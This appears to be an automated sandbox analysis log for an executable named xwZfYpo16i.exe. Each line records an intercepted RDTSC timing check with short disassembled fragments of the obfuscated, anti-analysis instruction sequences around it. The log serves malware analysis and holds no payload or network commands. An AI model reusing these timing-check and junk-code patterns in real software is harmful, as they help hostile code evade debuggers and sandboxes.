Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44BD56 second address: 44BD74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6BF4B2C366h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44CA58 second address: 44CADB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6BF4F65164h 0x00000008 jmp 00007F6BF4F6515Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 jnl 00007F6BF4F6515Ch 0x00000017 pop eax 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F6BF4F65158h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 mov edi, dword ptr [ebp+122D3A9Bh] 0x00000039 mov ebx, dword ptr [ebp+122D277Ch] 0x0000003f push 00000000h 0x00000041 mov bx, 49A1h 0x00000045 xor edi, 0B5FF0A4h 0x0000004b push 00000000h 0x0000004d call 00007F6BF4F6515Bh 0x00000052 movzx ebx, dx 0x00000055 pop edi 0x00000056 mov ebx, dword ptr [ebp+122D2392h] 0x0000005c xchg eax, esi 0x0000005d js 00007F6BF4F65164h 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44CADB second address: 44CADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44CADF second address: 44CAEB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44CAEB second address: 44CAFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C35Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44CAFF second address: 44CB05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44D998 second address: 44D99C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44D99C second address: 44D9A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44D9A0 second address: 44D9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44CD37 second address: 44CD3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44E879 second address: 44E883 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6BF4B2C356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44E935 second address: 44E93E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44E93E second address: 44E942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44F970 second address: 44F9BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BF4F65161h 0x00000009 popad 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, dword ptr [ebp+122D344Dh] 0x00000014 jmp 00007F6BF4F6515Ch 0x00000019 push 00000000h 0x0000001b movzx edi, cx 0x0000001e pushad 0x0000001f mov dword ptr [ebp+12454A40h], eax 0x00000025 mov edi, dword ptr [ebp+122D355Fh] 0x0000002b popad 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D23D4h], esi 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 44F9BD second address: 44F9C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4507BD second address: 45080C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dword ptr [esp], eax 0x00000008 mov dword ptr [ebp+12481EA7h], esi 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 sbb edi, 30B6E941h 0x00000017 pop ebx 0x00000018 push 00000000h 0x0000001a mov di, bx 0x0000001d xchg eax, esi 0x0000001e jmp 00007F6BF4F65164h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push edx 0x00000027 jmp 00007F6BF4F65168h 0x0000002c pop edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 45178E second address: 451795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 451966 second address: 45196B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 45281F second address: 452823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 452823 second address: 452829 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 451A22 second address: 451A2C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6BF4B2C356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 453847 second address: 453851 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6BF4F65156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 453851 second address: 45385B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F6BF4B2C356h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 45385B second address: 45385F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4565EC second address: 45664F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edi, dword ptr [ebp+122D3735h] 0x0000000f mov edi, dword ptr [ebp+122D3937h] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F6BF4B2C358h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 movzx edi, di 0x00000034 push 00000000h 0x00000036 jmp 00007F6BF4B2C368h 0x0000003b mov bh, al 0x0000003d push eax 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 jns 00007F6BF4B2C356h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 455854 second address: 455859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 404B2E second address: 404B32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 45F615 second address: 45F625 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F6BF4F65156h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 46561F second address: 465623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 465623 second address: 465632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F6515Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 465632 second address: 465637 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 46574F second address: 46578B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6BF4F65156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F6BF4F65163h 0x00000010 jne 00007F6BF4F65156h 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 jmp 00007F6BF4F6515Bh 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 push eax 0x00000023 push edx 0x00000024 push edi 0x00000025 pushad 0x00000026 popad 0x00000027 pop edi 0x00000028 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 46578B second address: 4657A7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jo 00007F6BF4B2C356h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6BF4B2C35Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 465875 second address: 465879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 465879 second address: 46587D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 46ABF5 second address: 46AC17 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F6BF4F65160h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jo 00007F6BF4F65156h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 46AC17 second address: 46AC47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C368h 0x00000007 jg 00007F6BF4B2C356h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 jng 00007F6BF4B2C356h 0x00000016 pop ecx 0x00000017 popad 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 46A7BC second address: 46A7C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6BF4F65156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 46A7C6 second address: 46A7CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 470E0F second address: 470E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 470F3F second address: 470F45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47109C second address: 4710A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47135A second address: 47136D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6BF4B2C35Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47136D second address: 471393 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6BF4F65169h 0x00000008 jl 00007F6BF4F65156h 0x0000000e jmp 00007F6BF4F6515Dh 0x00000013 pushad 0x00000014 je 00007F6BF4F65156h 0x0000001a push edi 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4714C0 second address: 4714C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4714C6 second address: 4714CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47176B second address: 47178D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C367h 0x00000007 pushad 0x00000008 jl 00007F6BF4B2C356h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 424CC5 second address: 424CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 424CCE second address: 424CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47059A second address: 4705A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F6BF4F65156h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4705A9 second address: 4705AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4705AF second address: 4705B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4773F8 second address: 477409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6BF4B2C356h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47757D second address: 47759B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BF4F65168h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 477B4B second address: 477B5F instructions: 0x00000000 rdtsc 0x00000002 je 00007F6BF4B2C356h 0x00000008 jnp 00007F6BF4B2C356h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 477B5F second address: 477B63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 477B63 second address: 477B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 477E40 second address: 477E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 477E46 second address: 477E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 477E4D second address: 477E57 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6BF4F65162h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 477E57 second address: 477E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47839C second address: 4783A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4783A4 second address: 4783C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C35Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F6BF4B2C35Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4783C1 second address: 4783C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47C118 second address: 47C153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F6BF4B2C35Ah 0x0000000c push ecx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop ecx 0x00000012 popad 0x00000013 pushad 0x00000014 push esi 0x00000015 jmp 00007F6BF4B2C366h 0x0000001a jne 00007F6BF4B2C356h 0x00000020 pop esi 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47C153 second address: 47C157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47F892 second address: 47F896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47F896 second address: 47F8CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6BF4F65156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f jne 00007F6BF4F65156h 0x00000015 push esi 0x00000016 pop esi 0x00000017 pop eax 0x00000018 jnc 00007F6BF4F65158h 0x0000001e js 00007F6BF4F6515Ch 0x00000024 jl 00007F6BF4F65156h 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d pop eax 0x0000002e je 00007F6BF4F65156h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47F8CC second address: 47F8D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43E9AC second address: 43E9E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65166h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jmp 00007F6BF4F65165h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43E9E0 second address: 43E9E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43E9E6 second address: 43E9EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43EB5B second address: 43EB69 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F6BF4B2C356h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43EEE4 second address: 43EF26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F6515Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b mov edx, dword ptr [ebp+122D3B4Bh] 0x00000011 push 0000001Eh 0x00000013 nop 0x00000014 pushad 0x00000015 pushad 0x00000016 jmp 00007F6BF4F6515Dh 0x0000001b push edx 0x0000001c pop edx 0x0000001d popad 0x0000001e pushad 0x0000001f js 00007F6BF4F65156h 0x00000025 push edi 0x00000026 pop edi 0x00000027 popad 0x00000028 popad 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push ecx 0x0000002f pop ecx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43EF26 second address: 43EF30 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6BF4B2C356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43F1B7 second address: 43F1BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43F1BB second address: 43F223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jne 00007F6BF4B2C356h 0x0000000d pop esi 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 call 00007F6BF4B2C369h 0x00000017 call 00007F6BF4B2C361h 0x0000001c adc ch, FFFFFF84h 0x0000001f pop edx 0x00000020 pop ecx 0x00000021 lea eax, dword ptr [ebp+12482EB0h] 0x00000027 mov di, cx 0x0000002a push eax 0x0000002b pushad 0x0000002c jmp 00007F6BF4B2C369h 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43F223 second address: 43F265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D371Bh], esi 0x00000011 lea eax, dword ptr [ebp+12482E6Ch] 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F6BF4F65158h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 push edx 0x00000032 xor edx, dword ptr [ebp+122D371Bh] 0x00000038 pop edx 0x00000039 push eax 0x0000003a push esi 0x0000003b push eax 0x0000003c push edx 0x0000003d push edi 0x0000003e pop edi 0x0000003f rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 43F265 second address: 424CC5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6BF4B2C356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov dword ptr [esp], eax 0x0000000e sub dword ptr [ebp+1245467Eh], ebx 0x00000014 call dword ptr [ebp+122D37C2h] 0x0000001a pushad 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47FBAA second address: 47FBAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47FBAE second address: 47FBC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C35Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47FBC6 second address: 47FBDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F6BF4F6515Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47FBDD second address: 47FBE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 47FEA6 second address: 47FEAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
